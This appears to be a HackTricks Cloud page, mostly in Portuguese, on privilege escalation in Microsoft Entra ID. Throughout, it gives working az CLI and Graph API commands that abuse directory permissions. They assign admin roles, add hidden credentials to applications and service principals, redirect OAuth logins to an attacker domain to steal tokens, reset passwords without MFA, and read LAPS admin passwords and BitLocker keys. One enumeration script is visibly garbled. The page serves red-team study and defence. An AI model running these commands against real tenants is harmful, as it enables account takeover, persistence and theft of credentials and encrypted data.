Az - EntraID Privesc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Note
Observe que nem todas as permissĂ”es granulares que os built-in roles tĂȘm no Entra ID sĂŁo elegĂveis para serem usadas em custom roles.
Roles
Role: Privileged Role Administrator
Esta role contém as permissÔes granulares necessårias para poder atribuir roles a principals e para conceder mais permissÔes às roles. Ambas as açÔes podem ser abusadas para escalar privilégios.
- Atribuir role a um user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Adicionar mais permissÔes a um role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Applications
microsoft.directory/applications/credentials/update
Isso permite que um atacante adicione credenciais (senhas ou certificados) a aplicaçÔes existentes. Se a aplicação tiver permissÔes privilegiadas, o atacante pode autenticar-se como essa aplicação e obter esses privilégios.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Isso permite as mesmas açÔes que applications/credentials/update, mas limitado a aplicaçÔes de diretĂłrio Ășnico.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Ao adicionar a si mesmo como owner, um atacante pode manipular a aplicação, incluindo credenciais e permissÔes.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Um atacante pode adicionar uma redirect URI a aplicaçÔes que estão sendo usadas por usuårios do tenant e então compartilhar com eles login URLs que usam a nova redirect URL para roubar seus tokens. Note que, se o usuårio jå estava autenticado na aplicação, a autenticação serå automåtica sem o usuårio precisar aceitar nada.
Note tambĂ©m que tambĂ©m Ă© possĂvel alterar as permissĂ”es que a aplicação solicita para obter mais permissĂ”es, mas, nesse caso, o usuĂĄrio precisarĂĄ aceitar novamente o prompt pedindo todas as permissĂ”es.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Applications Privilege Escalation
As explained in this post it was very common to find default applications that have API permissions of type Application assigned to them. An API Permission (as called in the Entra ID console) of type Application means that the application can access the API and perform actions without a user context (without a user login into the app), and without needing Entra ID roles to allow it. Therefore, itâs very common to find high privileged applications in every Entra ID tenant.
Then, if an attacker has any permission/role that allows to update the credentials (secret o certificate) of the application, the attacker can generate a new credential and then use it to authenticate as the application, gaining all the permissions that the application has.
Note that the mentioned blog shares some API permissions of common Microsoft default applications however some time after this report Microsoft fixed this issue and now itâs not possible to login as Microsoft applications anymore. However, itâs still possible to find custom applications with high privileges that could be abused.
How to enumerate the API permissions of an application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Encontre todas as permissÔes de API das aplicaçÔes e marque as APIs de propriedade da Microsoft
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( âf8cdef31-a31e-4b4a-93e4-5f571e91255aâ â72f988bf-86f1-41af-91ab-2d7cd011db47â )
is_microsoft_owner() { local owner=â$1â local id for id in â${MICROSOFT_OWNER_ORG_IDS[@]}â; do if [ â$ownerâ = â$idâ ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=â$1â local perm_type=â$2â local perm_id=â$3â local key value key=â${resource_app_id}|${perm_type}|${perm_id}â
value=â$(awk -F â\tâ -v k=â$keyâ â$1==k {print $2; exit}â â$tmp_perm_cacheâ)â if [ -n â$valueâ ]; then printf â%s\nâ â$valueâ return 0 fi
if [ â$perm_typeâ = âScopeâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âoauth2PermissionScopes[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â elif [ â$perm_typeâ = âRoleâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âappRoles[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â else value=ââ fi
[ -n â$valueâ ] || value=âUNKNOWNâ printf â%s\t%s\nâ â$keyâ â$valueâ >> â$tmp_perm_cacheâ printf â%s\nâ â$valueâ }
command -v az >/dev/null 2>&1 || { echo âaz CLI not foundâ >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo âjq not foundâ >&2; exit 1; } az account show >/dev/null
apps_json=â$(az ad app list âall âquery â[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]â -o json)â
tmp_map=â$(mktemp)â tmp_ids=â$(mktemp)â tmp_perm_cache=â$(mktemp)â trap ârm -f â$tmp_mapâ â$tmp_idsâ â$tmp_perm_cacheââ EXIT
Build unique resourceAppId values used by applications.
jq -r â.[][2][]?.resourceAppIdâ <<<â$apps_jsonâ | sort -u > â$tmp_idsâ
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n â$ridâ ] || continue sp_json=â$(az ad sp show âid â$ridâ âquery â{owner:appOwnerOrganizationId,name:displayName}â -o json 2>/dev/null || true)â owner=â$(jq -r â.owner // âUNKNOWNââ <<<â$sp_jsonâ)â name=â$(jq -r â.name // âUNKNOWNââ <<<â$sp_jsonâ)â printf â%s\t%s\t%s\nâ â$ridâ â$ownerâ â$nameâ >> â$tmp_mapâ done < â$tmp_idsâ
echo -e âappDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissionsâ
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=â$(jq -r â.[0]â <<<â$rowâ)â app_id=â$(jq -r â.[1]â <<<â$rowâ)â
while IFS= read -r rra; do resource_app_id=â$(jq -r â.resourceAppIdâ <<<â$rraâ)â map_line=â$(awk -F â\tâ -v id=â$resource_app_idâ â$1==id {print; exit}â â$tmp_mapâ)â owner_org=â$(awk -Fâ\tâ â{print $2}â <<<â$map_lineâ)â resource_name=â$(awk -Fâ\tâ â{print $3}â <<<â$map_lineâ)â
[ -n â$owner_orgâ ] || owner_org=âUNKNOWNâ [ -n â$resource_nameâ ] || resource_name=âUNKNOWNâ
if is_microsoft_owner â$owner_orgâ; then is_ms=âtrueâ else is_ms=âfalseâ fi
permissions_csv=ââ while IFS= read -r access; do perm_type=â$(jq -r â.typeâ <<<â$accessâ)â perm_id=â$(jq -r â.idâ <<<â$accessâ)â perm_value=â$(get_permission_value â$resource_app_idâ â$perm_typeâ â$perm_idâ)â perm_label=â${perm_type}:${perm_value}â if [ -z â$permissions_csvâ ]; then permissions_csv=â$perm_labelâ else permissions_csv=â${permissions_csv},${perm_label}â fi done < <(jq -c â.resourceAccess[]â <<<â$rraâ)
echo -e â${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}â done < <(jq -c â.[2][]â <<<â$rowâ) done < <(jq -c â.[]â <<<â$apps_jsonâ)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Isso permite que um atacante adicione credenciais a service principals existentes. Se o service principal tiver privilégios elevados, o atacante pode assumir esses privilégios.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
A nova senha gerada nĂŁo aparecerĂĄ no console web, entĂŁo isso pode ser uma forma stealth de manter persistence em um service principal.
Na API, elas podem ser encontradas com:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Se vocĂȘ receber o erro "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." Ă© porque nĂŁo Ă© possĂvel modificar a propriedade passwordCredentials do SP e primeiro vocĂȘ precisa desbloqueĂĄ-la. Para isso, vocĂȘ precisa de uma permission (microsoft.directory/applications/allProperties/update) que permite executar:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Isso permite que um atacante adicione credenciais a service principals existentes. Se o service principal tiver privilégios elevados, o atacante pode assumir esses privilégios.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Assim como em applications, essa permissĂŁo permite adicionar mais owners a um service principal. Ser owner de um service principal permite controlar suas credentials e permissions.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Depois de adicionar um novo owner, tentei removĂȘ-lo, mas a API respondeu que o mĂ©todo DELETE nĂŁo era suportado, mesmo sendo o mĂ©todo que vocĂȘ precisa usar para deletar o owner. EntĂŁo, vocĂȘ nĂŁo pode remover owners atualmente.
microsoft.directory/servicePrincipals/disable and enable
These permissions permitem desabilitar e habilitar service principals. Um atacante poderia usar essa permission para habilitar um service principal ao qual ele conseguisse acessar de alguma forma para escalar privilégios.
Observe que, para essa technique, o atacante vai precisar de mais permissions para tomar controle do service principal habilitado.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Essas permissÔes permitem criar e obter credenciais para single sign-on, o que pode permitir acesso a aplicaçÔes de terceiros.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Grupos
microsoft.directory/groups/allProperties/update
Esta permissão permite adicionar usuårios a grupos privilegiados, levando à escalada de privilégios.
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Esta permissĂŁo exclui grupos atribuĂveis a funçÔes do Entra ID.
microsoft.directory/groups/owners/update
Esta permissão permite tornar-se proprietårio de grupos. Um proprietårio de um grupo pode controlar a membresia e as configuraçÔes do grupo, potencialmente escalando privilégios para o grupo.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Esta permissĂŁo exclui grupos atribuĂveis a funçÔes do Entra ID.
microsoft.directory/groups/members/update
Esta permissĂŁo permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Esta permissĂŁo permite atualizar a regra de associação em um grupo dinĂąmico. Um atacante poderia modificar regras dinĂąmicas para incluir a si mesmo em grupos privilegiados sem adição explĂcita.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Note: Esta permissĂŁo exclui grupos atribuĂveis a funçÔes do Entra ID.
Dynamic Groups Privesc
Pode ser possĂvel que usuĂĄrios escalem privilĂ©gios modificando suas prĂłprias propriedades para serem adicionados como membros de dynamic groups. Para mais informaçÔes, verifique:
Users
microsoft.directory/users/password/update
Essa permissĂŁo permite redefinir a senha de usuĂĄrios que nĂŁo sĂŁo admin, permitindo que um possĂvel atacante escale privilĂ©gios para outros usuĂĄrios. Essa permissĂŁo nĂŁo pode ser atribuĂda a custom roles.
# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"
# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"
microsoft.directory/users/basic/update
Este privilĂ©gio permite modificar propriedades do usuĂĄrio. Ă comum encontrar grupos dinĂąmicos que adicionam usuĂĄrios com base em valores de propriedades, portanto, essa permissĂŁo poderia permitir que um usuĂĄrio definisse o valor da propriedade necessĂĄria para ser membro de um grupo dinĂąmico especĂfico e escalar privilĂ©gios.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
PolĂticas de Acesso Condicional & bypass de MFA
PolĂticas de acesso condicional mal configuradas que exigem MFA podem ser contornadas, verifique:
Az - Conditional Access Policies & MFA Bypass
Dispositivos
microsoft.directory/devices/registeredOwners/update
Esta permissĂŁo permite que atacantes se atribuam como owners de devices para obter controle ou acesso a configuraçÔes e dados especĂficos do device.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Essa permissĂŁo permite que atacantes associem sua conta a devices para obter acesso ou contornar polĂticas de segurança.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Esta permissĂŁo permite que atacantes leiam as propriedades das credenciais de conta de administrador local com backup para dispositivos Microsoft Entra joined, incluindo a senha
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Esta permissĂŁo permite acessar chaves BitLocker, o que pode permitir que um atacante decripte unidades, comprometendo a confidencialidade dos dados.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Outras permissÔes interessantes (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

